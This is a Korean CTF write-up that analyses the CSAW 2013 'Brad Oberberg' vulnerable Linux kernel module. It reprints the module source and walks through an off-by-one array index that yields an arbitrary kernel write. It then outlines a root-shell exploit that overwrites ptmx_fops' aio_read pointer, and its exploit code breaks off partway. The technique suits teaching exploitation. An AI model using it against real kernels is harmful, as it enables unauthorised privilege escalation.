Kernel Exploit in CTF 02 - CSAW2013 brad oberberg

By puing | June 8, 2018

CTF 문제로 공부하는 Kernel Exploit EP.02 - CSAW 2013 brad oberberg


안녕하세요!
다시 커널 익스플로잇 문제와 함께 돌아온 puing 입니다!
이번에 풀어볼 문제는 2013 CSAW 에 출제되었던 Brad-Oberberg 라는 문제입니다.
시작 해 볼꺄요?ㅎㅎ




문제 소스가 길지만 차근차근 봅시다!


문제 소스는 아래와 같습니다.


/*
 *                      .ed"""" """$$$$be.
 *                    -"           ^""**$$$e.
 *                  ."                   '$$$c
 *                 /     C S A W          "4$$b
 *                d  3      2 0 1 3         $$$$
 *                $  *                   .$$$$$$
 *               .$  ^c           $$$$$e$$$$$$$$.
 *               d$L  4.         4$$$$$$$$$$$$$$b
 *               $$$$b ^ceeeee.  4$$ECL.F*$$$$$$$
 *   e$""=.      $$$$P d$$$$F $ $$$$$$$$$- $$$$$$
 *  z$$b. ^c     3$$$F "$$$$b   $"$$$$$$$  $$$$*"      .=""$c
 * 4$$$$L        $$P"  "$$b   .$ $$$$$...e$$        .=  e$$$.
 * ^*$$$$$c  %..   *c    ..    $$ 3$$$$$$$$$$eF     zP  d$$$$$
 *   "**$$$ec   "   %ce""    $$$  $$$$$$$$$$*    .r" =$$$$P""
 *         "*$b.  "c  *$e.    *** d$$$$$"L$$    .d"  e$$***"
 *           ^*$$c ^$c $$$      4J$$$$$% $$$ .e*".eeP"
 *              "$$$$$$"'$=e....$*$$**$cz$$" "..d$*"
 *                "*$$$  *=%4.$ L L$ P3$$$F $$$P"
 *                   "$   "%*ebJLzb$e$$$$$b $P"
 *                     %..      4$$$$$$$$$$ "
 *                      $$$e   z$$$$$$$$$$%
 *                       "*$c  "$$$$$$$P"
 *                        ."""*$$$$$$$$bc
 *                     .-"    .$***$$$"""*e.
 *                  .-"    .e$"     "*$c  ^*b.
 *           .=*""""    .e$*"          "*bc  "*$e..
 *         .$"        .z*"               ^*$e.   "*****e.
 *         $$ee$c   .d"                     "*$.        3.
 *         ^*$E")$..$"                         *   .ee==d%
 *            $.d$$$*                           *  J$$$e*
 *             """""                              "$$$" Gilo95'
 */

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/mm.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/random.h>
#include <linux/list.h>
#include <linux/sched.h>
#include <asm/uaccess.h>

#define DRIVER_VERSION "CSAW SUCKiT v1.3.37"

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_HANDLE   CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE    CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE   CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER   CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER   CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE    CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS	    CSAW_IOCTL_BASE+7

#define MAX_CONSUMERS 255

struct csaw_buf {
    unsigned long consumers[MAX_CONSUMERS];
    char *buf;
    unsigned long size;
    unsigned long seed;
    struct list_head list;
};

LIST_HEAD(csaw_bufs);

struct alloc_args {
    unsigned long size;
    unsigned long handle;
};

struct free_args {
    unsigned long handle;
};

struct read_args {
    unsigned long handle;
    unsigned long size;
    void *out;
};

struct write_args {
    unsigned long handle;
    unsigned long size;
    void *in;
};

struct consumer_args {
    unsigned long handle;
    unsigned long pid;
    unsigned char offset;
};

struct csaw_stats {
    unsigned long clients;
    unsigned long handles;
    unsigned long bytes_read;
    unsigned long bytes_written;
    char version[40];
};

unsigned long clients = 0;
unsigned long handles = 0;
unsigned long bytes_read = 0;
unsigned long bytes_written = 0;

static int csaw_open ( struct inode *inode, struct file *file )
{
    clients++;

    return 0;
}

static int csaw_release ( struct inode *inode, struct file *file )
{
    clients--;

    return 0;
}

int alloc_buf ( struct alloc_args *alloc_args )
{
    struct csaw_buf *cbuf;
    char *buf;
    unsigned long size, seed, handle;

    size = alloc_args->size;

    if ( ! size )
        return -EINVAL;

    cbuf = kmalloc(sizeof(*cbuf), GFP_KERNEL);
    if ( ! cbuf )
        return -ENOMEM;

    buf = kzalloc(size, GFP_KERNEL);
    if ( ! buf )
    {
        kfree(cbuf);
        return -ENOMEM;
    }

    cbuf->buf = buf;
    cbuf->size = size;

    memset(&cbuf->consumers, 0, sizeof(cbuf->consumers));
    cbuf->consumers[0] = current->pid;

    get_random_bytes(&seed, sizeof(seed));

    cbuf->seed = seed;

    handle = (unsigned long)buf ^ seed;

    list_add(&cbuf->list, &csaw_bufs);

    alloc_args->handle = handle;

    return 0;
}

void free_buf ( struct csaw_buf *cbuf )
{
    list_del(&cbuf->list);
    kfree(cbuf->buf);
    kfree(cbuf);
}

struct csaw_buf *find_cbuf ( unsigned long handle )
{
    struct csaw_buf *cbuf;

    list_for_each_entry ( cbuf, &csaw_bufs, list )
        if ( handle == ((unsigned long)cbuf->buf ^ cbuf->seed) )
            return cbuf;

    return NULL;
}

static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg )
{
    int ret = 0;
    unsigned long *argp = (unsigned long *)arg;

    switch ( cmd )
    {
        case CSAW_ALLOC_HANDLE:
        {
            int ret;
            struct alloc_args alloc_args;

            if ( copy_from_user(&alloc_args, argp, sizeof(alloc_args)) )
                return -EFAULT;

            if ( (ret = alloc_buf(&alloc_args)) < 0 )
                return ret;

            if ( copy_to_user(argp, &alloc_args, sizeof(alloc_args)) )
                return -EFAULT;

            handles++;

            break;
        }

        case CSAW_READ_HANDLE:
        {
            struct read_args read_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;
            unsigned long to_read;

            if ( copy_from_user(&read_args, argp, sizeof(read_args)) )
                return -EFAULT;

            cbuf = find_cbuf(read_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            to_read = min(read_args.size, cbuf->size);

            if ( copy_to_user(read_args.out, cbuf->buf, to_read) )
                return -EFAULT;

            bytes_read += to_read;

            break;
        }

        case CSAW_WRITE_HANDLE:
        {
            struct write_args write_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;
            unsigned long to_write;

            if ( copy_from_user(&write_args, argp, sizeof(write_args)) )
                return -EFAULT;

            cbuf = find_cbuf(write_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            to_write = min(write_args.size, cbuf->size);

            if ( copy_from_user(cbuf->buf, write_args.in, to_write) )
                return -EFAULT;

            bytes_written += to_write;

            break;
        }

        case CSAW_GET_CONSUMER:
        {
            struct consumer_args consumer_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;

            if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )
                return -EFAULT;

            cbuf = find_cbuf(consumer_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            consumer_args.pid = cbuf->consumers[consumer_args.offset];

            if ( copy_to_user(argp, &consumer_args, sizeof(consumer_args)) )
                return -EFAULT;

            break;
        }

        case CSAW_SET_CONSUMER:
        {
            struct consumer_args consumer_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;

            if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )
                return -EFAULT;

            cbuf = find_cbuf(consumer_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            cbuf->consumers[consumer_args.offset] = consumer_args.pid;

            break;
        }

        case CSAW_FREE_HANDLE:
        {
            struct free_args free_args;
            struct csaw_buf *cbuf;
            unsigned int i, authorized = 0;

            if ( copy_from_user(&free_args, argp, sizeof(free_args)) )
                return -EFAULT;

            cbuf = find_cbuf(free_args.handle);
            if ( ! cbuf )
                return -EINVAL;

            for ( i = 0; i < MAX_CONSUMERS; i++ )
                if ( current->pid == cbuf->consumers[i] )
                    authorized = 1;

            if ( ! authorized )
                return -EPERM;

            free_buf(cbuf);

            handles--;

            break;
        }

        case CSAW_GET_STATS:
        {
            struct csaw_stats csaw_stats;

            csaw_stats.clients = clients;
            csaw_stats.handles = handles;
            csaw_stats.bytes_read = bytes_read;
            csaw_stats.bytes_written = bytes_written;
            strcpy(csaw_stats.version, DRIVER_VERSION);

            if ( copy_to_user(argp, &csaw_stats, sizeof(csaw_stats)) )
                return -EFAULT;

            break;
        }

        default:
            ret = -EINVAL;
            break;
    }

    return ret;
}

static ssize_t csaw_read ( struct file *file, char *buf, size_t count, loff_t *pos )
{
    char *stats;
    unsigned int to_read;
    unsigned int ret;

    stats = kmalloc(1024, GFP_KERNEL);
    if ( ! buf )
        return -ENOMEM;

    ret = snprintf(stats, 1024, "Active clients: %lu\nHandles allocated: %lu\nBytes read: %lu\nBytes written: %lu\n",
             clients, handles, bytes_read, bytes_written);

    if ( count < ret )
        to_read = count;
    else
        to_read = ret;

    if ( copy_to_user(buf, stats, to_read) )
    {
        kfree(stats);
        return -EFAULT;
    }

    kfree(stats);

    return 0;
}

static const struct file_operations csaw_fops = {
    owner:          THIS_MODULE,
    open:           csaw_open,
    release:        csaw_release,
    unlocked_ioctl: csaw_ioctl,
    read:           csaw_read,
};

static struct miscdevice csaw_miscdev = {
    name:   "csaw",
    fops:   &csaw_fops
};

static int __init lezzdoit ( void )
{
    misc_register(&csaw_miscdev);

    return 0;
}

static void __exit wereouttahurr ( void )
{
    misc_deregister(&csaw_miscdev);
}

module_init(lezzdoit);
module_exit(wereouttahurr);

MODULE_LICENSE("GPL");




분석 해 봅시다


코드 하단을 보면, 해당 모듈이 로드될때 lezzdoit 함수가 불리게됩니다.

lezzdoit 에서 misc_register 함수를 사용하여 /dev 디렉터리에 csaw 라는 디바이스를 등록합니다.

miscdevice 구조체를 보면, name,fops 는 각각 csaw&csaw_fops 로 되어있습니다.
이 구조체 정보대로 /dev 디렉터리에 csaw 디바이스가 생성되는 것입니다.
그리고 file_operations 구조체대로 open, release 등 이런 작업이 발생하면 csaw_open, csaw_release 함수들이 호출됩니다.
불려질 함수(file_operations 구조체에 있는 함수)들은 코드 내용에 포함되어있는 것을 볼 수 있습니다.


간단하게 /dev/csaw 에 읽기 작업을 시도해보면, csaw_read 함수가 호출되는 것을 볼 수 있습니다.


작성한 read_csaw.c 내용

#include <fcntl.h>
#include <stdio.h>

int main()
{
	int fd;
	char buf[1024];

	fd = open("/dev/csaw", O_RDONLY);

	read(fd,buf,1024);

	printf("buf : %s\n",buf);

	return 0;
}


모듈에 정의된 csaw_read 함수 내용

static ssize_t csaw_read ( struct file *file, char *buf, size_t count, loff_t *pos )
{
    char *stats;
    unsigned int to_read;
    unsigned int ret;

    stats = kmalloc(1024, GFP_KERNEL);
    if ( ! buf )
        return -ENOMEM;

    ret = snprintf(stats, 1024, "Active clients: %lu\nHandles allocated: %lu\nBytes read: %lu\nBytes written: %lu\n",
             clients, handles, bytes_read, bytes_written);

    if ( count < ret )
        to_read = count;
    else
        to_read = ret;

    if ( copy_to_user(buf, stats, to_read) )
    {
        kfree(stats);
        return -EFAULT;
    }

    kfree(stats);

    return 0;
}




그리고 모듈에 있는 csaw_ioctl 함수 내용을 봅시다.


csaw_ioctl

static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg )
{
    int ret = 0;
    unsigned long *argp = (unsigned long *)arg;

    switch ( cmd )
    {
        case CSAW_ALLOC_HANDLE:
        {
            int ret;
            struct alloc_args alloc_args;

            if ( copy_from_user(&alloc_args, argp, sizeof(alloc_args)) )
                return -EFAULT;

            if ( (ret = alloc_buf(&alloc_args)) < 0 )
                return ret;

            if ( copy_to_user(argp, &alloc_args, sizeof(alloc_args)) )
                return -EFAULT;

            handles++;

            break;
        }

        case CSAW_READ_HANDLE:
        {
            ....
            ....


switch 문으로 cmd 값이 뭔지에 따라 각각의 case 로 들어가 이하의 내용을 실행하게됩니다. 그럼 이번에도 간단하게 cmd 에 CSAW_ALLOC_HANDLE 를 넣어서 csaw_ioctl 함수를 호출해봅시다.


작성한 call_ioctl.c 내용

#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_HANDLE   CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE    CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE   CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER   CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER   CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE    CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS	    CSAW_IOCTL_BASE+7

struct alloc_args {
    unsigned long size;
    unsigned long handle;
};

int main()
{
	int fd;
	char buf[1024];
	struct alloc_args alloc_args;

	fd = open("/dev/csaw", O_RDONLY);

	memset(&alloc_args, 0, sizeof(alloc_args));
	alloc_args.size = 100;
	ioctl(fd,CSAW_ALLOC_HANDLE,&alloc_args);

	return 0;
}


그리고 printk 를 추가하여 제대로 함수호출이 됐는지 확인해봅시다.


수정한 모듈 소스 내용

int alloc_buf ( struct alloc_args *alloc_args )
{
    struct csaw_buf *cbuf;
    char *buf;
    unsigned long size, seed, handle;

    printk(KERN_INFO "alloc_buf was called!!\n");
    printk(KERN_INFO "size is %d\n",alloc_args->size);


결과 화면을 보면 csaw_ioctl 함수가 호출되어 CSAW_ALLOC_HANDLE 로 들어가서 alloc_buf 함수가 호출된 것을 확인할 수 있습니다.




사용자가 ioctl 함수에 fd, cmd, arg 를 넣어 호출하면 모듈에 있는 csaw_ioctl 가 호출됩니다.


alloc_buf 함수를 더 살펴보면, 우선 size 만큼 kzalloc 함수로 메모리를 할당받습니다. 그 주소를 buf 에 넣어주고 난수를 생성하여 seed 에 넣어줍니다. 그리고 bufseed 끼리 xor 연산한 결과를 handle 에 넣어줍니다.




각 구조체에 채워지는 정보는 위와 같습니다.
csaw_buf 크기 만큼 kmalloc 으로 메모리를 할당받고 반환된 주소를 cbuf 에 넣어주고, 사용자가 넘겨준 size 를 csaw_buf 구조체안에 있는 size 변수에 넣어줍니다. 그리고 사용자가 넘겨준 size 만큼 kzalloc 으로 메모리를 할당받고 반환된 주소는 csaw_buf 구조체안에 있는 buf 변수에 넣어줍니다. 현재 pid 는 csaw_buf 구조체안에 consumers[0] 에 넣어주고 난수를 생성하여 seed 변수에 넣어줍니다. 그리고 생성된 난수와 kzalloc 의 리턴값이 담겨있는 buf 와 xor 연산한 결과를 alloc_args 구조체 handle 에 넣어줍니다. 그리고 alloc_args 구조체는 사용자에게 전달됩니다.


static long csaw_ioctl(..)
{
    ...
    ...
    switch( cmd )
    {
        case CSAW_ALLOC_HANDLE:
        {
            ....
            ....
            if ( copy_to_user(argp, &alloc_args, sizeof(alloc_args)) )

            ....


alloc_buf 함수를 호출한 후, 사용자에게 alloc_args 값이 잘 전달되는지 확인해보면, size 와 handle 값이 잘 전달된 것을 볼 수 있습니다.
(handle 값은 실행할때마다 랜덤입니다!)


	fd = open("/dev/csaw", O_RDONLY);

	memset(&alloc_args, 0, sizeof(alloc_args));
	alloc_args.size = 100;
	ioctl(fd,CSAW_ALLOC_HANDLE,&alloc_args);

	printf("alloc_args.size is %ld\n",alloc_args.size);
	printf("alloc_args.handle is %lx\n\n",alloc_args.handle);




cmd 중 CSAW_READ_HANDLE,CSAW_WRITE_HANDLE경우 실행되는 내용을 보면, cbuf->buf 내용을 읽거나 이 곳에 쓰는 작업을 하게됩니다.


case CSAW_WRITE_HANDLE 내용

    ...
    copy_from_user(cbuf->buf, write_args.in, to_write);
    ...


case CSAW_READ_HANDLE 내용

    ...
    copy_to_user(read_args.out, cbuf->buf, to_read);
    ...






CSAW_GET_CONSUMER,CSAW_SET_CONSUMERconsumer_args 구조체의 pid 값에 cbuf->consumers[consumer_args.offset] 를 써주거나 사용자가 전달한 consumer_args 구조체의 pid 값을 cbuf->consumers[consumer_args.offset] 에 써줍니다.


case CSAW_SET_CONSUMER 내용

    ...
    cbuf->consumers[consumer_args.offset] = consumer_args.pid;
    ...


case CSAW_GET_CONSUMER 내용

    ...
    consumer_args.pid = cbuf->consumers[consumer_args.offset];
    ...






그럼 이쯤에서 CSAW_GET_CONSUMER,CSAW_SET_CONSUMER 를 사용하여 consumer_args 구조체의 pid 에 값이 잘 써지고 잘 읽혀지는지 봅시다.


작성한 read_write_pid.c 내용

#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_HANDLE   CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE    CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE   CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER   CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER   CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE    CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS	    CSAW_IOCTL_BASE+7

struct alloc_args {
    unsigned long size;
    unsigned long handle;
};

struct consumer_args {
    unsigned long handle;
    unsigned long pid;
    unsigned char offset;
};

int main()
{
	int fd;
	char buf[1024];
	unsigned long handle;
	struct alloc_args alloc_args;
	struct consumer_args consumer_args;

	fd = open("/dev/csaw", O_RDONLY);

	memset(&alloc_args, 0, sizeof(alloc_args));
	alloc_args.size = 100;
	ioctl(fd,CSAW_ALLOC_HANDLE,&alloc_args);

	printf("alloc_args.size is %ld\n",alloc_args.size);
	printf("alloc_args.handle is %lx\n\n",alloc_args.handle);

	handle = alloc_args.handle;

	memset(&consumer_args, 0, sizeof(consumer_args));
	consumer_args.handle = handle;
	consumer_args.pid = 100;
	consumer_args.offset = 10;

	ioctl(fd,CSAW_SET_CONSUMER,&consumer_args);

	memset(&consumer_args, 0, sizeof(consumer_args));
	consumer_args.handle = handle;
	consumer_args.offset = 10;

	ioctl(fd,CSAW_GET_CONSUMER,&consumer_args);

	printf("consumer_args.offset is %ld, consumser_args.pid = %ld\n",consumer_args.offset, consumer_args.pid);

	return 0;
}


consumer_args.offset 10pid 100을 넣어준 후, CSAW_SET_CONSUMER cmd 를 넣어 ioctl 을 호출한 후, consumser_args.offset 10을 넣고 cmd CSAW_GET_CONSUMER 를 넣어 ioctl 을 호출해보면, pid100으로 출력되는 것을 볼 수 있습니다.




이 부분에 취약점이 존재합니다!


#define MAX_CONSUMERS 255

struct csaw_buf {
    unsigned long consumers[MAX_CONSUMERS];
    char *buf;
    unsigned long size;
    unsigned long seed;
    struct list_head list;
};


csaw_buf struct 에 consumers 배열의 크기는 255로 정해져있습니다.


consumer_args.pid = cbuf->consumers[consumer_args.offset];
cbuf->consumers[consumer_args.offset] = consumer_args.pid;


그리고 CSAW_GET_CONSUMER, CSAW_SET_CONSUMER 각각에서 consumers 배열에 있는 값을 읽거나, 이 곳으로 값을 써줍니다.

consumers 배열에 접근할 때, 사용자가 전달한 consumer_args.offset 에 있는 값이 배열의 첨자로 들어가서 접근하게 되는데…

우리가 consumer_args.offset 값으로 255 를 전달하면 어떻게 될까요?


consumers 배열은 255만큼의 크기를 가지고 있고 배열 첨자는 0부터 시작하기 때문에
consumers[0] 부터 consumers[254] 까지 총 255개의 배열 요소가 존재합니다.

그런데 consumers[255] 는 consumers 배열이 아니라 그 밑에 선언된 buf 변수를 의미합니다.


즉, consumer_args.pid = cbuf->consumers[255]
buf 내용이 consumer_args.pid 에 들어가게됩니다.


이와같이, cbuf->consumers[255] = consumer_args.pid
consumer_args.pid 값이 buf 로 들어가게됩니다.


간단하게 소스를 만들어 확인해보면~


작성한 test.c 내용

#include <stdio.h>

struct csaw
{
	unsigned long consumer[255];
	char *buf;
};

void func()
{
	printf("hello\n");
}

int main()
{
	struct csaw *cbuf;

	printf("cbuf->buf : %p\n",cbuf->buf);
	printf("cbuf->buf = malloc(100)\n");

	cbuf->buf = malloc(100);

	printf("cbuf->buf : %p\n",cbuf->buf);
	printf("cbuf->consumer[255] : %p\n",cbuf->consumer[255]);

	printf("cbuf->consumer[255] = &func\n");
	cbuf->consumer[255] = &func;

	printf("cbuf->buf : %p\n",cbuf->buf);

	return 0;
}


buf엔 malloc 으로 할당받은 주소를 넣어주고, consumer[255] 로 접근해보았습니다.
그리고 consumuser[255] 로 func 함수 주소를 넣어보고 buf 내용을 출력해보았습니다.




consumer[255] 를 출력하면 buf 의 내용이 출력되고, consumer[255] 에 값을 쓰면, 결과적으로 buf 에 값이 써지게 됩니다.

이를 이용해서 우리는 원하는 곳에 원하는 값을 쓰는게 가능해집니다.


  • 우리는 일단 CSAW_GET_CONSUMER, CSAW_SET_CONSUMER를 이용하면 cbuf->buf 에 원하는 값을 쓸 수 있습니다.
  • cbuf->buf0x41414141 이라는 값을 썼다고 가정해봅니다.
  • 그리고 CSAW_WRITE_HANDLE 에선 사용자가 입력한 write_args.in 가 가리키는 값이 cbuf->buf 가 가리키는 곳에 써집니다.
    write_args.in0x61616161 이라는 주소가 있다고 하면,0x61616161 에 있는 값이 0x41414141 이 가리키는 곳에 써지게 되는 것입니다.
  • 우리는 write_args.in 에 원하는 주소를 넣을 수 있으므로 결국엔 원하는 값을 원하는 곳에 쓸 수 있게 되는 것 입니다.


하지만 여기서 하나의 관문이 있습니다ㅠㅠ


바로 find_cbuf 함수입니다.


struct csaw_buf *find_cbuf ( unsigned long handle )
{
    struct csaw_buf *cbuf;

    list_for_each_entry ( cbuf, &csaw_bufs, list )
        if ( handle == ((unsigned long)cbuf->buf ^ cbuf->seed) )
            return cbuf;

    return NULL;
}


find_cbuf 함수 내용을 보면, list_for_each_entry 로 순회하면서 handle 값이 buf ^ seed 한 값과 일치하는 지를 확인합니다. 이 부분은 아까 위에서 alloc_buf 함수 내용을 살펴볼 때, 있었던 내용인데.. alloc_buf 함수에서 kzalloc 으로 메모리 할당받고 그 주소가 buf에 저장됩니다. 그리고 buf 와 랜덤 수가 담겨있는 seed 를 xor 연산한 결과를 handle 에 넣어줍니다.

우리가 CSAW_SET_CONSUMER 을 이용하여 buf 에 원하는 주소를 넣어줬다고 하더라도, CSAW_WRITE_HANDLE 에서 find_cbuf 함수를 호출하기때문에 원하는 주소가 들어있는 buf 와 랜덤 값인 seed 를 xor 연산한 값이 handle 에 들어있지 않으면 원하는 주소에 쓸 수 없게 될 것입니다.

하지만 우리는 이 seed 값을 알아낼 수 있습니다. ㅎㅎ CSAW_GET_CONSUMER 을 이용하면 되는데, consumsers[255] 와같이 사용해서 buf 내용을 얻을 수 있죠? 그리고 CSAW_ALLOC_HANDLE 에서 사용자에게 handle 값이 담겨져있는 alloc_args 를 전달해줬습니다. 우리는 buf 와 handle 값을 가지고 있으므로 이 둘끼리 xor 연산을 하면 seed 값을 알아낼 수 있습니다.

순서를 정리 해보자면


  1. CSAW_ALLOC_HANDLE : alloc_buf 에서 메모리 할당 후, 전달된 handle 값을 가지고 있는다.
  2. CSAW_GET_CONSUMER : consumers[255] 로 접근하여 buf 값을 가지고 있는다.
  3. buf 값과 handle 값을 xor 연산하여 seed 값을 알아낸다.
  4. CSAW_SET_CONSUMER : consumers[255] 로 접근하여 pid 에 원하는 주소를 담아 전달한다.
  5. CSAW_WRITE_HANDLE : 원하는 주소 ^ seed 연산 결과 값을 handle 에 담고, 쓰고자하는 값을 write_args.in 에 담아 전달한다.


이렇게 요약해볼 수 있습니다.




어떻게 Exploit 할까?


먼저 commit_creds(prepare_kernel_cred(0)) 을 이용하여 권한 상승을 하고, /bin/sh 을 실행하는 방법을 알아보겠습니다.
commit_creds(prepare_kernel_cred(0)) 로 어떻게 권한 상승을 하는건지 모르신다면 전편을 참고해주세요!


Kernel Exploit in CTF EP01- privilege escalation in csaw2010 Kernel Challenge


그럼 어떻게 commit_creds(prepare_kernel_cred(0)) 를 호출해줄까요?


먼저 readv 라는 함수가 있습니다. read 함수와 비슷한 함수예요.
readv 함수 내부를 보면,

readv->vfs_readv->do_readv_writev->do_sync_readv_writev->fn(...);


위와 같은 순으로 fn 함수가 호출됩니다. fn 에는 f_op->aio_read 의 주소가 들어있습니다.


즉, readv 함수를 호출하면 file_operations 구조체 안에있는 aio_read 라는 함수 포인터가 가리키는 함수로 가게됩니다.


struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
    ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
    ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
    ....

file_operations 구조체 내용을 보면, aio_read 라는 함수 포인터가 있습니다. 함수 주소를 담고 있는 변수죠! 
readv 함수를 호출하면, 이 aio_read 변수 안에 있는 함수 주소로 가게됩니다.


우리는 이 aio_read함수 포인터를 조작할 것입니다.
aio_read 함수 포인터에 우리가 원하는 주소를 넣고, readv 함수를 호출하면 우리가 원하는 주소로 가게 되겠죠?
readv 함수 사용법은, readv(fd, iovec, cnt); 와 같이, 파일 디스크립터와 iovec 구조체, iovec 구조체 변수 수를 인자로 주고 호출합니다.


iovec 구조체 형태는 아래와같습니다.


struct iovec
{
    ptr_t iov_base;
    size_t lov_len;
};


작성한 test.c 내용

#include <sys/uio.h>
#include <fcntl.h>
#include <stdio.h>

int main()
{
	int fd;
	char buf[20];
	struct iovec iov;

	fd = open("./tmp",O_RDWR);
	if(fd < 0)
	{
		printf("nono\n");
	}

	memset(buf,0,20);
	iov.iov_base = buf;
	iov.iov_len = 12;

	readv(fd,&iov,1);

	printf("%s\n", buf);

	return 0;
}


tmp 내용으로 아무 문자열을 넣고 readv 함수로 읽으면 그대로 출력되는 것을 확인할 수 있습니다.


$ cat tmp
hello world~
$ ./test
hello world~


/dev 디렉터리에 ptmx 라는 character device file 이 있습니다. 해당 파일을 open 함수로 열어서 readv 함수로 읽기 작업을 시도하면 ptmx_fops 구조체에 따라 aio_read 변수에 담겨있는 주소로 가게됩니다.


  • ptmx_fops 는 drivers/tty/pty.c 파일에 아래와 같이 선언되어있습니다.
    • static struct file_operations ptmx_fops;


그리고 ptmx_fops 구조체의 주소는 /proc/kallsyms 파일을 보고 알아낼 수 있습니다.





ptmx_fops 의 주소를 알아낼 수 있으니 이 주소에 +16 이면 aio_read 변수의 주소일 것입니다. 이 변수에 우리가 원하는 주소를 써준 후, /dev/ptmx 파일을 열고 readv 함수로 읽기 작업을 시도하면 우리가 원하는 주소로 가게되겠죠?ㅎㅎ


아까 정해둔 순서는 아래와 같았죠?


  1. CSAW_ALLOC_HANDLE : alloc_buf 에서 메모리 할당 후, 전달된 handle 값을 가지고 있는다.
  2. CSAW_GET_CONSUMER : consumers[255] 로 접근하여 buf 값을 가지고 있는다.
  3. buf 값과 handle 값을 xor 연산하여 seed 값을 알아낸다.
  4. CSAW_SET_CONSUMER : consumers[255] 로 접근하여 pid 에 원하는 주소를 담아 전달한다.
  5. CSAW_WRITE_HANDLE : 원하는 주소 ^ seed 연산 결과 값을 handle 에 담고, 쓰고자하는 값을 write_args.in 에 담아 전달한다.


처음에 ioctl(fd,CSAW_ALLOC_HANDLE,&alloc_args) 를 호출하여 alloc_buf 함수를 통해 메모리 할당 받습니다.




그럼 buf 와 랜덤 seed 를 xor 하여 handle 을 반환하게됩니다.
그리고 offset 255 를 넣어주고 ioctl(fd, CSAW_GET_CONSUMER, &consumer_args) 를 호출하면 buf 에 있는 값을 알아낼 수 있습니다.




알아낸 buf 값와 handle 을 xor 연산하여 seed 값을 알아냅니다. 그리고 원하는 주소인 ptmx_fops+16 를 pid 에 담고 offset 255 넣어주고 ioctl(fd, CSAW_SET_CONSUMER, &consumer_args) 를 호출하면 buf 에 원하는 주소가 담기게 됩니다.




그리고 원하는 주소인 ptmx_fops+16 한 주소와 알아낸 seed 값을 xor 연산한 결과를 handle 값으로 넣어주고 commit_creds(prepare_kernel_cred(0)) 을 호출하는 주소를 in 에 넣어 ioctl(fd, CSAW_WRITE_HANDLE, &write_args) 를 호출하면 ptmx_fops + 16aio_read 변수에 commit_creds(prepare_kernel_cred(0)) 의 주소가 들어가게될 것입니다.




이 후에 readv 함수를 호출하면 commit_creds(prepare_kernel_cred(0)) 이 호출되어 권한 상승을 할 수 있겠죠?
그리고 /bin/sh 을 실행하면 root 권한의 쉘을 획득할 수 있게 됩니다.




Exploit Code 내용

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/uio.h>
#include <sys/utsname.h>

#define BUF_SIZE 0x100

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_HANDLE   CSAW_IOCTL_BASE+1
#define CSAW_READ_HANDLE    CSAW_IOCTL_BASE+2
#define CSAW_WRITE_HANDLE   CSAW_IOCTL_BASE+3
#define CSAW_GET_CONSUMER   CSAW_IOCTL_BASE+4
#define CSAW_SET_CONSUMER   CSAW_IOCTL_BASE+5
#define CSAW_FREE_HANDLE    CSAW_IOCTL_BASE+6
#define CSAW_GET_STATS      CSAW_IOCTL_BASE+7

struct alloc_args {
    unsigned long size;
    unsigned long handle;
};

struct free_args {
    unsigned long handle;
};

struct read_args {
    unsigned long handle;
